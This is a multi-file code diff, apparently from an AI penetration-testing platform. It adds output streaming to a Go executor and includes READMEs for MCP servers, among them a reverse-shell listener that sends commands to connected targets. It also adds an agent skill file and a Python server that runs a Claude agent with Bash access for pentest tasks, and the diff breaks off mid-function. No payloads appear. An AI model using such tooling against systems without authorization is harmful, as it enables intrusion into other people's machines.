delta := choice.Delta
|
||||
|
||||
content := delta.Content
|
||||
if content == "" {
|
||||
content = delta.Text
|
||||
}
|
||||
if content != "" {
|
||||
full.WriteString(content)
|
||||
if onContentDelta != nil {
|
||||
if err := onContentDelta(content); err != nil {
|
||||
return full.String(), nil, finishReason, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(delta.ToolCalls) > 0 {
|
||||
for _, tc := range delta.ToolCalls {
|
||||
acc, ok := toolCallAccums[tc.Index]
|
||||
if !ok {
|
||||
acc = &toolCallAccum{}
|
||||
toolCallAccums[tc.Index] = acc
|
||||
}
|
||||
if tc.ID != "" {
|
||||
acc.id = tc.ID
|
||||
}
|
||||
if tc.Type != "" {
|
||||
acc.typ = tc.Type
|
||||
}
|
||||
if tc.Function.Name != "" {
|
||||
acc.name = tc.Function.Name
|
||||
}
|
||||
if tc.Function.Arguments != "" {
|
||||
acc.args.WriteString(tc.Function.Arguments)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 组装 tool calls
|
||||
indices := make([]int, 0, len(toolCallAccums))
|
||||
for idx := range toolCallAccums {
|
||||
indices = append(indices, idx)
|
||||
}
|
||||
// 手写简单排序(避免额外 import)
|
||||
for i := 0; i < len(indices); i++ {
|
||||
for j := i + 1; j < len(indices); j++ {
|
||||
if indices[j] < indices[i] {
|
||||
indices[i], indices[j] = indices[j], indices[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
toolCalls := make([]StreamToolCall, 0, len(indices))
|
||||
for _, idx := range indices {
|
||||
acc := toolCallAccums[idx]
|
||||
tc := StreamToolCall{
|
||||
Index: idx,
|
||||
ID: acc.id,
|
||||
Type: acc.typ,
|
||||
FunctionName: acc.name,
|
||||
FunctionArgsStr: acc.args.String(),
|
||||
}
|
||||
toolCalls = append(toolCalls, tc)
|
||||
}
|
||||
|
||||
c.logger.Debug("received OpenAI stream completion (tool_calls)",
|
||||
zap.Duration("duration", time.Since(requestStart)),
|
||||
zap.Int("contentLen", full.Len()),
|
||||
zap.Int("toolCalls", len(toolCalls)),
|
||||
zap.String("finishReason", finishReason),
|
||||
)
|
||||
|
||||
if strings.TrimSpace(finishReason) == "" {
|
||||
finishReason = "stop"
|
||||
}
|
||||
|
||||
return full.String(), toolCalls, finishReason, nil
|
||||
}
|
||||
|
||||
@@ -9,6 +9,8 @@ import (
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
@@ -17,6 +19,15 @@ import (
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// ToolOutputCallback 用于在工具执行过程中把 stdout/stderr 增量推给上层(SSE)。
|
||||
// 通过 context 传递,避免修改 MCP ToolHandler 签名导致的“写死工具”问题。
|
||||
type ToolOutputCallback func(chunk string)
|
||||
|
||||
type toolOutputCallbackCtxKey struct{}
|
||||
|
||||
// ToolOutputCallbackCtxKey 是 context 中的 key,供 Agent 写入回调,Executor 读取并流式回调。
|
||||
var ToolOutputCallbackCtxKey = toolOutputCallbackCtxKey{}
|
||||
|
||||
// Executor 安全工具执行器
|
||||
type Executor struct {
|
||||
config *config.SecurityConfig
|
||||
@@ -144,7 +155,16 @@ func (e *Executor) ExecuteTool(ctx context.Context, toolName string, args map[st
|
||||
zap.Strings("args", cmdArgs),
|
||||
)
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
var output string
|
||||
var err error
|
||||
// 如果上层提供了 stdout/stderr 增量回调,则边执行边读取并回调。
|
||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
|
||||
output, err = streamCommandOutput(cmd, cb)
|
||||
} else {
|
||||
outputBytes, err2 := cmd.CombinedOutput()
|
||||
output = string(outputBytes)
|
||||
err = err2
|
||||
}
|
||||
if err != nil {
|
||||
// 检查退出码是否在允许列表中
|
||||
exitCode := getExitCode(err)
|
||||
@@ -931,7 +951,16 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
}
|
||||
|
||||
// 非后台命令:等待输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
var output string
|
||||
var err error
|
||||
// 若上层提供工具输出增量回调,则边执行边流式读取。
|
||||
if cb, ok := ctx.Value(ToolOutputCallbackCtxKey).(ToolOutputCallback); ok && cb != nil {
|
||||
output, err = streamCommandOutput(cmd, cb)
|
||||
} else {
|
||||
outputBytes, err2 := cmd.CombinedOutput()
|
||||
output = string(outputBytes)
|
||||
err = err2
|
||||
}
|
||||
if err != nil {
|
||||
e.logger.Error("系统命令执行失败",
|
||||
zap.String("command", command),
|
||||
@@ -965,6 +994,78 @@ func (e *Executor) executeSystemCommand(ctx context.Context, args map[string]int
|
||||
}, nil
|
||||
}
|
||||
|
||||
// streamCommandOutput 以“边读边回调”的方式读取命令 stdout/stderr。
|
||||
// 保持输出内容完整拼接返回,并用 cb(chunk) 向上层持续推送。
|
||||
func streamCommandOutput(cmd *exec.Cmd, cb ToolOutputCallback) (string, error) {
|
||||
stdoutPipe, err := cmd.StdoutPipe()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
stderrPipe, err := cmd.StderrPipe()
|
||||
if err != nil {
|
||||
_ = stdoutPipe.Close()
|
||||
return "", err
|
||||
}
|
||||
if err := cmd.Start(); err != nil {
|
||||
_ = stdoutPipe.Close()
|
||||
_ = stderrPipe.Close()
|
||||
return "", err
|
||||
}
|
||||
|
||||
chunks := make(chan string, 64)
|
||||
var wg sync.WaitGroup
|
||||
readFn := func(r io.Reader) {
|
||||
defer wg.Done()
|
||||
br := bufio.NewReader(r)
|
||||
for {
|
||||
s, readErr := br.ReadString('\n')
|
||||
if s != "" {
|
||||
chunks <- s
|
||||
}
|
||||
if readErr != nil {
|
||||
// EOF 正常结束
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
wg.Add(2)
|
||||
go readFn(stdoutPipe)
|
||||
go readFn(stderrPipe)
|
||||
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(chunks)
|
||||
}()
|
||||
|
||||
var outBuilder strings.Builder
|
||||
var deltaBuilder strings.Builder
|
||||
lastFlush := time.Now()
|
||||
|
||||
flush := func() {
|
||||
if deltaBuilder.Len() == 0 {
|
||||
return
|
||||
}
|
||||
cb(deltaBuilder.String())
|
||||
deltaBuilder.Reset()
|
||||
lastFlush = time.Now()
|
||||
}
|
||||
|
||||
for chunk := range chunks {
|
||||
outBuilder.WriteString(chunk)
|
||||
deltaBuilder.WriteString(chunk)
|
||||
// 简单节流:buffer 大于 2KB 或 200ms 就刷新一次
|
||||
if deltaBuilder.Len() >= 2048 || time.Since(lastFlush) >= 200*time.Millisecond {
|
||||
flush()
|
||||
}
|
||||
}
|
||||
flush()
|
||||
|
||||
// 等待命令结束,返回最终退出状态
|
||||
waitErr := cmd.Wait()
|
||||
return outBuilder.String(), waitErr
|
||||
}
|
||||
|
||||
// executeInternalTool 执行内部工具(不执行外部命令)
|
||||
func (e *Executor) executeInternalTool(ctx context.Context, toolName string, command string, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
// 提取内部工具类型(去掉 "internal:" 前缀)
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
# MCP Servers
|
||||
|
||||
[中文](README_CN.md)
|
||||
|
||||
This directory contains **standalone MCP (Model Context Protocol) servers**. They speak the standard MCP protocol over stdio (or HTTP/SSE when a server supports it), so **any MCP client** can use them—not only CyberStrikeAI, but also **Cursor**, **VS Code** (with an MCP extension), **Claude Code**, and other clients that support MCP.
|
||||
|
||||
**We will keep adding useful MCP servers here.** New servers will cover security testing, automation, and integration scenarios. Stay tuned for updates.
|
||||
|
||||
## Available servers
|
||||
|
||||
| Server | Description |
|
||||
|--------|-------------|
|
||||
| [reverse_shell](reverse_shell/) | Reverse shell listener: start/stop listener, send commands to connected targets, full interactive workflow. |
|
||||
|
||||
## How to use
|
||||
|
||||
These MCPs are configured per client. Use **absolute paths** for `command` and `args` when using stdio.
|
||||
|
||||
### CyberStrikeAI
|
||||
|
||||
1. Open Web UI → **Settings** → **External MCP**.
|
||||
2. Add a new external MCP and fill in the JSON config (see each server’s README for the exact config).
|
||||
3. Save and click **Start**; the tools will appear in conversations.
|
||||
|
||||
### Cursor
|
||||
|
||||
Add the server to Cursor’s MCP config (e.g. **Settings → Tools & MCP → Add Custom MCP**, or edit `~/.cursor/mcp.json` / project `.cursor/mcp.json`). Example for a stdio server:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"reverse-shell": {
|
||||
"command": "/absolute/path/to/venv/bin/python3",
|
||||
"args": ["/absolute/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Replace the paths with your actual paths. Cursor will spawn the process and talk MCP over stdio.
|
||||
|
||||
### VS Code (MCP extension) / Claude Code / other clients
|
||||
|
||||
Configure the client to run the server via **stdio**: set the **command** to your Python executable and **args** to the script path (see each server’s README). The client will launch the process and communicate over stdin/stdout. Refer to your client’s docs for where to put the config (e.g. `.mcp.json`, `~/.claude.json`, or the extension’s settings).
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.10+ for Python-based servers.
|
||||
- Use the project’s `venv` when possible: e.g. `venv/bin/python3` and the script under `mcp-servers/`.
|
||||
@@ -0,0 +1,49 @@
|
||||
# MCP 服务
|
||||
|
||||
[English](README.md)
|
||||
|
||||
本目录存放 **独立 MCP(Model Context Protocol)服务**,采用标准 MCP 协议(stdio 或部分服务支持 HTTP/SSE),因此 **任意支持 MCP 的客户端** 均可使用——不限于 CyberStrikeAI,**Cursor**、**VS Code**(配合 MCP 扩展)、**Claude Code** 等均可接入。
|
||||
|
||||
**我们会持续在此新增好用的 MCP 服务**,覆盖安全测试、自动化与集成等场景,敬请关注。
|
||||
|
||||
## 已提供服务
|
||||
|
||||
| 服务 | 说明 |
|
||||
|------|------|
|
||||
| [reverse_shell](reverse_shell/) | 反向 Shell:开启/停止监听、与已连接目标交互执行命令,完整交互流程。 |
|
||||
|
||||
## 使用方式
|
||||
|
||||
各 MCP 需在对应客户端里配置后使用。stdio 模式下 `command` 与 `args` 请使用**绝对路径**。
|
||||
|
||||
### CyberStrikeAI
|
||||
|
||||
1. 打开 Web 界面 → **设置** → **外部 MCP**。
|
||||
2. 添加新的外部 MCP,按各服务目录下 README 的说明填写 JSON 配置。
|
||||
3. 保存后点击 **启动**,对话中即可使用对应工具。
|
||||
|
||||
### Cursor
|
||||
|
||||
在 Cursor 的 MCP 配置中添加(如 **Settings → Tools & MCP → Add Custom MCP**,或编辑 `~/.cursor/mcp.json` / 项目下的 `.cursor/mcp.json`)。stdio 示例:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"reverse-shell": {
|
||||
"command": "/你的绝对路径/venv/bin/python3",
|
||||
"args": ["/你的绝对路径/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
将路径替换为实际路径后,Cursor 会启动该进程并通过 stdio 与 MCP 通信。
|
||||
|
||||
### VS Code(MCP 扩展)/ Claude Code / 其他客户端
|
||||
|
||||
在对应客户端中配置为通过 **stdio** 启动:**command** 填 Python 可执行文件路径,**args** 填脚本路径(详见各服务 README)。配置位置依客户端而定(如 `.mcp.json`、`~/.claude.json` 或扩展设置),请查阅该客户端的 MCP 说明。
|
||||
|
||||
## 依赖说明
|
||||
|
||||
- 基于 Python 的服务需 Python 3.10+。
|
||||
- 建议使用项目自带的 `venv`,例如 `venv/bin/python3` 配合 `mcp-servers/` 下脚本路径。
|
||||
@@ -0,0 +1,142 @@
|
||||
---
|
||||
name: find-skills
|
||||
description: Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
|
||||
---
|
||||
|
||||
# Find Skills
|
||||
|
||||
This skill helps you discover and install skills from the open agent skills ecosystem.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when the user:
|
||||
|
||||
- Asks "how do I do X" where X might be a common task with an existing skill
|
||||
- Says "find a skill for X" or "is there a skill for X"
|
||||
- Asks "can you do X" where X is a specialized capability
|
||||
- Expresses interest in extending agent capabilities
|
||||
- Wants to search for tools, templates, or workflows
|
||||
- Mentions they wish they had help with a specific domain (design, testing, deployment, etc.)
|
||||
|
||||
## What is the Skills CLI?
|
||||
|
||||
The Skills CLI (`npx skills`) is the package manager for the open agent skills ecosystem. Skills are modular packages that extend agent capabilities with specialized knowledge, workflows, and tools.
|
||||
|
||||
**Key commands:**
|
||||
|
||||
- `npx skills find [query]` - Search for skills interactively or by keyword
|
||||
- `npx skills add <package>` - Install a skill from GitHub or other sources
|
||||
- `npx skills check` - Check for skill updates
|
||||
- `npx skills update` - Update all installed skills
|
||||
|
||||
**Browse skills at:** https://skills.sh/
|
||||
|
||||
## How to Help Users Find Skills
|
||||
|
||||
### Step 1: Understand What They Need
|
||||
|
||||
When a user asks for help with something, identify:
|
||||
|
||||
1. The domain (e.g., React, testing, design, deployment)
|
||||
2. The specific task (e.g., writing tests, creating animations, reviewing PRs)
|
||||
3. Whether this is a common enough task that a skill likely exists
|
||||
|
||||
### Step 2: Check the Leaderboard First
|
||||
|
||||
Before running a CLI search, check the [skills.sh leaderboard](https://skills.sh/) to see if a well-known skill already exists for the domain. The leaderboard ranks skills by total installs, surfacing the most popular and battle-tested options.
|
||||
|
||||
For example, top skills for web development include:
|
||||
- `vercel-labs/agent-skills` — React, Next.js, web design (100K+ installs each)
|
||||
- `anthropics/skills` — Frontend design, document processing (100K+ installs)
|
||||
|
||||
### Step 3: Search for Skills
|
||||
|
||||
If the leaderboard doesn't cover the user's need, run the find command:
|
||||
|
||||
```bash
|
||||
npx skills find [query]
|
||||
```
|
||||
|
||||
For example:
|
||||
|
||||
- User asks "how do I make my React app faster?" → `npx skills find react performance`
|
||||
- User asks "can you help me with PR reviews?" → `npx skills find pr review`
|
||||
- User asks "I need to create a changelog" → `npx skills find changelog`
|
||||
|
||||
### Step 4: Verify Quality Before Recommending
|
||||
|
||||
**Do not recommend a skill based solely on search results.** Always verify:
|
||||
|
||||
1. **Install count** — Prefer skills with 1K+ installs. Be cautious with anything under 100.
|
||||
2. **Source reputation** — Official sources (`vercel-labs`, `anthropics`, `microsoft`) are more trustworthy than unknown authors.
|
||||
3. **GitHub stars** — Check the source repository. A skill from a repo with <100 stars should be treated with skepticism.
|
||||
|
||||
### Step 5: Present Options to the User
|
||||
|
||||
When you find relevant skills, present them to the user with:
|
||||
|
||||
1. The skill name and what it does
|
||||
2. The install count and source
|
||||
3. The install command they can run
|
||||
4. A link to learn more at skills.sh
|
||||
|
||||
Example response:
|
||||
|
||||
```
|
||||
I found a skill that might help! The "react-best-practices" skill provides
|
||||
React and Next.js performance optimization guidelines from Vercel Engineering.
|
||||
(185K installs)
|
||||
|
||||
To install it:
|
||||
npx skills add vercel-labs/agent-skills@react-best-practices
|
||||
|
||||
Learn more: https://skills.sh/vercel-labs/agent-skills/react-best-practices
|
||||
```
|
||||
|
||||
### Step 6: Offer to Install
|
||||
|
||||
If the user wants to proceed, you can install the skill for them:
|
||||
|
||||
```bash
|
||||
npx skills add <owner/repo@skill> -g -y
|
||||
```
|
||||
|
||||
The `-g` flag installs globally (user-level) and `-y` skips confirmation prompts.
|
||||
|
||||
## Common Skill Categories
|
||||
|
||||
When searching, consider these common categories:
|
||||
|
||||
| Category | Example Queries |
|
||||
| --------------- | ---------------------------------------- |
|
||||
| Web Development | react, nextjs, typescript, css, tailwind |
|
||||
| Testing | testing, jest, playwright, e2e |
|
||||
| DevOps | deploy, docker, kubernetes, ci-cd |
|
||||
| Documentation | docs, readme, changelog, api-docs |
|
||||
| Code Quality | review, lint, refactor, best-practices |
|
||||
| Design | ui, ux, design-system, accessibility |
|
||||
| Productivity | workflow, automation, git |
|
||||
|
||||
## Tips for Effective Searches
|
||||
|
||||
1. **Use specific keywords**: "react testing" is better than just "testing"
|
||||
2. **Try alternative terms**: If "deploy" doesn't work, try "deployment" or "ci-cd"
|
||||
3. **Check popular sources**: Many skills come from `vercel-labs/agent-skills` or `ComposioHQ/awesome-claude-skills`
|
||||
|
||||
## When No Skills Are Found
|
||||
|
||||
If no relevant skills exist:
|
||||
|
||||
1. Acknowledge that no existing skill was found
|
||||
2. Offer to help with the task directly using your general capabilities
|
||||
3. Suggest the user could create their own skill with `npx skills init`
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
I searched for skills related to "xyz" but didn't find any matches.
|
||||
I can still help you with this task directly! Would you like me to proceed?
|
||||
|
||||
If this is something you do often, you could create your own skill:
|
||||
npx skills init my-xyz-skill
|
||||
```
|
||||
@@ -0,0 +1,85 @@
|
||||
# Pent Claude Agent MCP
|
||||
|
||||
[中文](README_CN.md)
|
||||
|
||||
AI-powered **penetration testing engineer** MCP server. CyberStrikeAI can command it to run pentest tasks, analyze vulnerabilities, and perform security diagnostics. The agent runs a Claude-based AI internally and can be configured with its own MCP servers and tools.
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Description |
|
||||
|------|-------------|
|
||||
| `pent_claude_run_pentest_task` | Run a penetration testing task. The agent executes independently and returns results. |
|
||||
| `pent_claude_analyze_vulnerability` | Analyze vulnerability information and provide remediation suggestions. |
|
||||
| `pent_agent_execute` | Execute a task. The agent chooses appropriate tools and methods. |
|
||||
| `pent_agent_diagnose` | Diagnose a target (URL, IP, domain) for security assessment. |
|
||||
| `pent_claude_status` | Get the current status of pent_claude_agent. |
|
||||
|
||||
## Requirements
|
||||
|
||||
- Python 3.10+
|
||||
- `mcp`, `claude-agent-sdk`, `pyyaml` (included if using the project venv; otherwise: `pip install mcp claude-agent-sdk pyyaml`)
|
||||
|
||||
## Configuration
|
||||
|
||||
The agent uses `pent_claude_agent_config.yaml` in this directory by default. You can override via:
|
||||
|
||||
- `--config /path/to/config.yaml` when starting the MCP server
|
||||
- Environment variable `PENT_CLAUDE_AGENT_CONFIG`
|
||||
|
||||
Config options (see `pent_claude_agent_config.yaml`):
|
||||
|
||||
- `cwd`: Working directory for the agent
|
||||
- `allowed_tools`: Tools the agent can use (Read, Write, Bash, Grep, Glob, etc.)
|
||||
- `mcp_servers`: MCP servers the agent can use (e.g. reverse_shell)
|
||||
- `env`: Environment variables (API keys, etc.)
|
||||
- `system_prompt`: Role and behavior definition
|
||||
|
||||
Path placeholders: `${PROJECT_ROOT}` = CyberStrikeAI root, `${SCRIPT_DIR}` = this script's directory.
|
||||
|
||||
## Setup in CyberStrikeAI
|
||||
|
||||
1. **Paths**
|
||||
Example: project root `/path/to/CyberStrikeAI-main`
|
||||
Script: `/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
|
||||
|
||||
2. **Web UI** → **Settings** → **External MCP** → **Add External MCP**. Paste JSON (replace paths with yours):
|
||||
|
||||
```json
|
||||
{
|
||||
"pent-claude-agent": {
|
||||
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
|
||||
"args": [
|
||||
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
|
||||
"--config",
|
||||
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
|
||||
],
|
||||
"description": "Penetration testing engineer: run pentest tasks, analyze vulnerabilities, get status",
|
||||
"timeout": 300,
|
||||
"external_mcp_enable": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- `command`: Prefer the project **venv** Python; or use system `python3`.
|
||||
- `args`: **Must be absolute path** to `mcp_pent_claude_agent.py`. Add `--config` and config path if needed.
|
||||
- `timeout`: 300 recommended (pentest tasks can be long).
|
||||
- Save, then click **Start** for this MCP to use the tools in chat.
|
||||
|
||||
3. **Typical workflow**
|
||||
- CyberStrikeAI calls `pent_claude_run_pentest_task("Scan target 192.168.1.1 for open ports")`.
|
||||
- pent_claude_agent starts a Claude agent internally, which may use Bash, nmap, etc.
|
||||
- Results are returned to CyberStrikeAI.
|
||||
|
||||
## Run locally (optional)
|
||||
|
||||
```bash
|
||||
# From project root, with venv
|
||||
./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
|
||||
```
|
||||
|
||||
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
|
||||
|
||||
## Security
|
||||
|
||||
- Use only in authorized, isolated test environments.
|
||||
- API keys in config should be kept secure; prefer environment variables for production.
|
||||
@@ -0,0 +1,85 @@
|
||||
# Pent Claude Agent MCP
|
||||
|
||||
[English](README.md)
|
||||
|
||||
AI 驱动的**渗透测试工程师** MCP 服务。CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务、分析漏洞、进行安全诊断。Agent 内部使用 Claude Agent SDK,可独立配置 MCP、工具等,作为独立的渗透测试工程师运行。
|
||||
|
||||
## 工具说明
|
||||
|
||||
| 工具 | 说明 |
|
||||
|------|------|
|
||||
| `pent_claude_run_pentest_task` | 执行渗透测试任务,Agent 独立执行并返回结果。 |
|
||||
| `pent_claude_analyze_vulnerability` | 分析漏洞信息并给出修复建议。 |
|
||||
| `pent_agent_execute` | 执行指定任务,Agent 自动选择工具和方法。 |
|
||||
| `pent_agent_diagnose` | 对目标(URL、IP、域名)进行安全诊断。 |
|
||||
| `pent_claude_status` | 获取 pent_claude_agent 的当前状态。 |
|
||||
|
||||
## 依赖
|
||||
|
||||
- Python 3.10+
|
||||
- `mcp`、`claude-agent-sdk`、`pyyaml`(使用项目 venv 时已包含;单独运行需:`pip install mcp claude-agent-sdk pyyaml`)
|
||||
|
||||
## 配置
|
||||
|
||||
Agent 默认使用本目录下的 `pent_claude_agent_config.yaml`。可通过以下方式覆盖:
|
||||
|
||||
- 启动 MCP 时传入 `--config /path/to/config.yaml`
|
||||
- 环境变量 `PENT_CLAUDE_AGENT_CONFIG`
|
||||
|
||||
配置项(参见 `pent_claude_agent_config.yaml`):
|
||||
|
||||
- `cwd`: Agent 工作目录
|
||||
- `allowed_tools`: Agent 可用的工具(Read、Write、Bash、Grep、Glob 等)
|
||||
- `mcp_servers`: Agent 可挂载的 MCP 服务器(如 reverse_shell)
|
||||
- `env`: 环境变量(API Key 等)
|
||||
- `system_prompt`: 角色与行为定义
|
||||
|
||||
路径占位符:`${PROJECT_ROOT}` = CyberStrikeAI 项目根目录,`${SCRIPT_DIR}` = 本脚本所在目录。
|
||||
|
||||
## 在 CyberStrikeAI 中接入
|
||||
|
||||
1. **路径**
|
||||
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
|
||||
`/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py`
|
||||
|
||||
2. **Web 界面** → **设置** → **外部 MCP** → **添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
|
||||
|
||||
```json
|
||||
{
|
||||
"pent-claude-agent": {
|
||||
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
|
||||
"args": [
|
||||
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py",
|
||||
"--config",
|
||||
"/path/to/CyberStrikeAI-main/mcp-servers/pent_claude_agent/pent_claude_agent_config.yaml"
|
||||
],
|
||||
"description": "渗透测试工程师:下发任务后独立执行并返回结果",
|
||||
"timeout": 300,
|
||||
"external_mcp_enable": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`。
|
||||
- `args`:**必须使用绝对路径** 指向 `mcp_pent_claude_agent.py`。如需指定配置可追加 `--config` 及配置路径。
|
||||
- `timeout`:建议 300(渗透测试任务可能较长)。
|
||||
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
|
||||
|
||||
3. **使用流程示例**
|
||||
- CyberStrikeAI 调用 `pent_claude_run_pentest_task("扫描目标 192.168.1.1 的开放端口")`。
|
||||
- pent_claude_agent 内部启动 Claude Agent,可能使用 Bash、nmap 等工具执行。
|
||||
- 结果返回给 CyberStrikeAI。
|
||||
|
||||
## 本地单独运行(可选)
|
||||
|
||||
```bash
|
||||
# 在项目根目录,使用 venv
|
||||
./venv/bin/python mcp-servers/pent_claude_agent/mcp_pent_claude_agent.py
|
||||
```
|
||||
|
||||
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
|
||||
|
||||
## 安全提示
|
||||
|
||||
- 仅在有授权、隔离的测试环境中使用。
|
||||
- 配置中的 API Key 需妥善保管;生产环境建议使用环境变量。
|
||||
@@ -0,0 +1,227 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Pent Claude Agent MCP Server - 渗透测试工程师 MCP 服务
|
||||
|
||||
通过 MCP 协议暴露 AI 渗透测试能力:CyberStrikeAI 可指挥 pent_claude_agent 执行渗透测试任务。
|
||||
pent_claude_agent 内部使用 Claude Agent SDK,可独立配置 MCP、工具等,作为独立的渗透测试工程师运行。
|
||||
|
||||
依赖:pip install mcp claude-agent-sdk(或使用项目 venv)
|
||||
运行:python mcp_pent_claude_agent.py [--config /path/to/config.yaml]
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import asyncio
|
||||
import os
|
||||
from typing import Any
|
||||
|
||||
import yaml
|
||||
from mcp.server.fastmcp import FastMCP
|
||||
|
||||
# 延迟导入,避免未安装时影响 MCP 启动
|
||||
_claude_sdk_available = False
|
||||
try:
|
||||
from claude_agent_sdk import ClaudeAgentOptions, query
|
||||
|
||||
_claude_sdk_available = True
|
||||
except ImportError:
|
||||
pass
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# 路径与配置
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
PROJECT_ROOT = os.path.dirname(os.path.dirname(SCRIPT_DIR))
|
||||
_DEFAULT_CONFIG_PATH = os.path.join(SCRIPT_DIR, "pent_claude_agent_config.yaml")
|
||||
|
||||
# Agent 运行状态(简单内存状态,用于 status)
|
||||
_last_task: str | None = None
|
||||
_last_result: str | None = None
|
||||
_task_count: int = 0
|
||||
|
||||
|
||||
def _load_config(config_path: str | None) -> dict[str, Any]:
|
||||
"""加载 YAML 配置,合并默认值与用户配置。"""
|
||||
defaults: dict[str, Any] = {
|
||||
"cwd": PROJECT_ROOT,
|
||||
"allowed_tools": ["Read", "Write", "Bash", "Grep", "Glob"],
|
||||
"env": {
|
||||
"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
|
||||
"DISABLE_TELEMETRY": "1",
|
||||
"DISABLE_ERROR_REPORTING": "1",
|
||||
"DISABLE_BUG_COMMAND": "1",
|
||||
},
|
||||
"mcp_servers": {},
|
||||
"system_prompt": (
|
||||
"你是一名专业的渗透测试工程师。根据用户给出的任务,进行安全测试、漏洞分析、信息收集等。"
|
||||
"请按步骤执行,输出清晰、可复现的结果。仅在授权范围内进行测试。"
|
||||
),
|
||||
}
|
||||
path = config_path or os.environ.get("PENT_CLAUDE_AGENT_CONFIG", _DEFAULT_CONFIG_PATH)
|
||||
if not os.path.isfile(path):
|
||||
return defaults
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8") as f:
|
||||
user = yaml.safe_load(f) or {}
|
||||
# 深度合并
|
||||
def merge(base: dict, override: dict) -> dict:
|
||||
out = dict(base)
|
||||
for k, v in override.items():
|
||||
if k in out and isinstance(out[k], dict) and isinstance(v, dict):
|
||||
out[k] = merge(out[k], v)
|
||||
else:
|
||||
out[k] = v
|
||||
return out
|
||||
|
||||
return merge(defaults, user)
|
||||
except Exception:
|
||||
return defaults
|
||||
|
||||
|
||||
def _resolve_path(s: str) -> str:
|
||||
"""解析路径占位符。"""
|
||||
return s.replace("${PROJECT_ROOT}", PROJECT_ROOT).replace("${SCRIPT_DIR}", SCRIPT_DIR)
|
||||
|
||||
|
||||
def _build_agent_options(config: dict[str, Any], cwd_override: str | None = None) -> ClaudeAgentOptions:
|
||||
"""从配置构建 ClaudeAgentOptions。"""
|
||||
raw_cwd = cwd_override or config.get("cwd", PROJECT_ROOT)
|
||||
cwd = _resolve_path(str(raw_cwd)) if isinstance(raw_cwd, str) else str(raw_cwd)
|
||||
env = dict(os.environ)
|
||||
env.update(config.get("env", {}))
|
||||
mcp_servers = config.get("mcp_servers") or {}
|
||||
# 解析路径占位符
|
||||
for name, cfg in list(mcp_servers.items()):
|
||||
if isinstance(cfg, dict):
|
||||
args = cfg.get("args") or []
|
||||
cfg = dict(cfg)
|
||||
cfg["args"] = [_resolve_path(str(a)) for a in args]
|
||||
mcp_servers[name] = cfg
|
||||
|
||||
return ClaudeAgentOptions(
|
||||
cwd=cwd,
|
||||
allowed_tools=config.get("allowed_tools", ["Read", "Write", "Bash", "Grep", "Glob"]),
|
||||
disallowed_tools=config.get("disallowed_tools", []),
|
||||
mcp_servers=mcp_servers,
|
||||
env=env,
|
||||
system_prompt=config.get("system_prompt"),
|
||||
setting_sources=config.get("setting_sources", ["user", "project"]),
|
||||
)
|
||||
|
||||
|
||||
async def _run_claude_agent(prompt: str, config_path: str | None = None, cwd: str | None = None) -> str:
|
||||
"""内部执行 Claude Agent,返回最后一轮文本结果。"""
|
||||
global _last_task, _last_result, _task_count
|
||||
_last_task = prompt
|
||||
_task_count += 1
|
||||
|
||||
